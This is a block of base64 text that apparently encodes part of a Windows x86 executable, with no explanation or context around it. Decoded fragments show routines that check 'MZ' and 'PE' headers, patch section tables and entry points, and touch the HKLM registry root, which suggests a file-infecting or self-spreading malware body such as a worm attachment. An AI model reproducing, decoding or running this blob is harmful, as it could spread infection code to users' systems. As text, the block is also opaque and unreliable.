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 VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F 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 